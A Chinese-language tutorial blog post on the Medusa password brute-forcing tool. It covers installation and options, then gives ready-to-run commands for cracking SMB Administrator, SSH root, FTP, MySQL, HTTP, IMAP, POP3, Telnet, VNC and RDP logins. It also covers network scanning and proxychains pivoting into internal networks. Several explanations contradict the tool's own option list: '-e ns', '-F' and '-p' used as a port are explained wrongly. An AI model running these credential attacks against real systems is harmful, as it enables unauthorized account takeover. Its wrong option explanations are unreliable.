以前曾经在研究ssh暴力破解的时候研究过medusa,最近对比测试fscan、hydra、ntscan等工具时,发现medusa可以在linux环境使用,而且比较好用。因此再次进行研究和总结。
一、medusa密码暴力破解
1、简介
Medusa(美杜莎)是一个支持大规模并行,模块化,爆破登录的工具,它可同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于hydra 要好很多,但其支持模块要比 hydra 少一些。Medusa支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PCAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:https://github.com/jmk-foofus/medusa。
二、安装和使用medusa
1、在基于 Debian 的系统(如 Ubuntu)
sudo apt-get update
sudo apt-get install medusa
1.2、在基于 Red Hat 的系统(如 CentOS 或 Fedora)
sudo yum install medusa
1.3、手动安装
(1)git克隆安装
git clone https://github.com/jmk-foofus/medusa.git
(2)手动编译和安装medusa
./configure
make
make install
安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。
2、使用参数
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
- -h [TEXT] 目标主机名称或者IP地址
- -H [FILE] 包含目标主机名称或者IP地址的文件
- -u [TEXT] 测试的用户名
- -U [FILE] 包含测试的用户名文件
- -p [TEXT] 测试的密码
- -P [FILE] 包含测试的密码文件
- -C [FILE] 组合条目文件
- -O [FILE] 日志信息文件
- -e [n/s/ns] n代表空密码,s代表为密码与用户名相同
- -M [TEXT] 模块执行名称
- -m [TEXT] 传递参数到模块
- -d 显示所有的模块名称
- -n [NUM] 使用非默认Tcp端口
- -s 启用SSL
- -r [NUM] 重试间隔时间,默认为3秒
- -t [NUM] 设定线程数量
- -T 同时测试的主机总数
- -L 并行化,每个用户使用一个线程
- -f 在任何主机上找到第一个账号/密码后,停止破解
- -F 在任何主机上找到第一个有效的用户名/密码后停止审计。
- -q 显示模块的使用信息
- -v [NUM] 详细级别(0-6)
- -w [NUM] 错误调试级别(0-10)
- -V 显示版本
- -Z [TEXT] 继续扫描上一次
3、常见密码口令破解
3.1、Windows密码口令暴力破解
medusa -M smbnt -h 192.168.31.1 -u Administrator -P pass.txt -e ns -F
(1)扫描网络
nbtscan -r 192.168.199.0/24
使用nbtscan工具对192.168.199.0所在C段所有的IP地址进行扫描,如图1所示,识别并发现该网段的Windows主机。
图1 nbtscan扫描
说明:nbtscan 是一个用于扫描网络上使用 NetBIOS 协议的主机工具。它可以通过指定的 IP 地址范围来查找并列出网络上的计算机名称、NetBIOS 名称以及它们提供的服务等信息。NetBIOS(Network Basic Input/Output System)是一种允许应用程序在局域网内进行通信的协议,通常用于 Windows 操作系统中。Linux中可以通过类似yum install nbtscan进行安装。
(2)扫描445端口
在进行暴力破解smb口令之前,需要确认暴力破解目标的445端口是否开放,可以通过nmap扫描445端口来实现。执行nmap -p 445 192.168.199.130命令,如果发现则会在结果中显示,如图2所示,IP地址为192.168.199.130的计算机445端口开放。
图2 扫描445端口
(3)密码暴力破解
确认目标445端口开放后,可以执行暴力破解命令。
medusa -M smbnt -h 192.168.199.130 -u Administrator -P pass.txt -e ns –F
命令详细解读:
- -M smbnt: 指定要使用的模块。smbnt 表示使用 SMB(Server Message Block)协议的 NTLM(NT LAN Manager)认证方式进行暴力破解。SMB 是一种用于网络文件共享的协议,广泛应用于 Windows 操作系统中。
- -h 192.168.199.130: 指定目标主机的 IP 地址。这里的目标主机是 192.168.199.130。
- -u Administrator: 指定要尝试的用户名。这里使用的是 Administrator 用户名。
- -P pass.txt: 指定密码字典文件。pass.txt 文件包含了一系列可能的密码,medusa 将会依次尝试这些密码。也可以使用-p参数,后面直接跟密码。
- -e ns: 指定额外的选项。这里的 ns 表示:
- n: 不使用空密码尝试。
- s: 在每个密码尝试之间插入一个小延迟(默认是 0 秒),以减少被目标系统检测到的风险。
- -F: 使用快速模式。在这种模式下,medusa 会在每个线程中同时尝试多个密码,从而加快暴力破解的速度。但是,这也可能增加被目标系统检测到的风险。
示例:medusa -M smbnt -h 192.168.199.130 -u temp -P pass.txt -e ns –F
执行后如图3所示,当破解成功一个密码后,破解任务结束,用户temp的密码为123456。
图3 暴力破解成功
如果是在内网中则可以通过proxychains加载来进行后续的扫描等操作,可参考执行命令:
proxychains nbtscan -r 192.168.22.0/24
proxychains nmap -p 445 192.168.22.16
proxychains medusa -M smbnt -h 192.168.22.16 -u Administrator -P pass.txt -e ns -F
3.2、Linux密码口令暴力破解
medusa -M ssh -h 192.168.218.129 -u root -P passwords_john.txt -e ns -F
(1)通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为password
medusa -M ssh -H host.txt -U users.txt -p password
(2)对单一服务器进行密码字典暴力破解
如图4所示,破解成功后会显示success字样,具体命令如下:
medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt
图4破解SSH口令成功
如果使用Cltrl+Z结束了破解过程,则还可以根据屏幕提示,在后面继续恢复破解,在上例中恢复破解,只需要在命令末尾增加“-Z h1u1.”即可。也即其命令为:
medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt -Z h1u1.
3.3、破解某个IP地址主机破解成功后立刻停止,并测试空密码以及与用户名一样的密码
medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns -F
执行效果如图5所示,通过命令查看字典文件newpass.txt,可以看到root密码位于第8行,而在破解结果中显示第一行就破解成功了,说明先执行了“-e ns”参数命令,对空密码和使用用户名作为密码来进行破解。
图5使用空密码和用户名作为密码进行破解
技巧:加-O ssh.log 可以将成功破解的记录记录到ssh.log文件中。
3.4、ftp密码暴力破解
medusa -M ftp -h 192.168.218.129 -U user.txt -P passwords.txt -e ns -F -t 10
3.5、Mysql密码暴力破解
medusa -M mysql -h 192.168.218.129 -u root -P pass2.txt -e ns -F
medusa -M mysql -H ip.txt -u root -P pass2.txt -e ns -F
proxychains medusa -M mysql -h 192.168.23.34 -u root -P pass.txt -e ns -F
proxychains medusa -M mysql -H ip.txt -U user.txt -P pass.txt -e ns -F
3.6、其他协议及服务密码暴力破解
(1)http
medusa -M http -h target_ip -U userlist.txt -P passwordlist.txt -m DIR:/admin -T 5
尝试使用 userlist.txt 中的用户名和 passwordlist.txt 中的密码对目标 IP 的 HTTP 服务进行暴力破解,目标路径为 /admin,使用 5 个线程。
(2)IMAP (Internet Message Access Protocol)
medusa -M imap -h target_ip -U userlist.txt -P passwordlist.txt -p 143
尝试使用 userlist.txt 中的用户名和 passwordlist.txt 中的密码对目标 IP 的 IMAP 服务进行暴力破解,端口为 143。
(3)POP3 (Post Office Protocol version 3)
medusa -M pop3 -h target_ip -U userlist.txt -P passwordlist.txt -p 110
尝试使用 userlist.txt 中的用户名和 passwordlist.txt 中的密码对目标 IP 的 POP3 服务进行暴力破解,端口为 110。
(4)Telnet
medusa -M telnet -h target_ip -U userlist.txt -P passwordlist.txt -p 23
(5)VNC (Virtual Network Computing)
medusa -M vnc -h target_ip -P passwordlist.txt -p 5900
(6)RDP (Remote Desktop Protocol)
medusa -M rdp -h target_ip -U userlist.txt -P passwordlist.txt -p 3389
原创文章,作者:DNS安全网,谢绝转载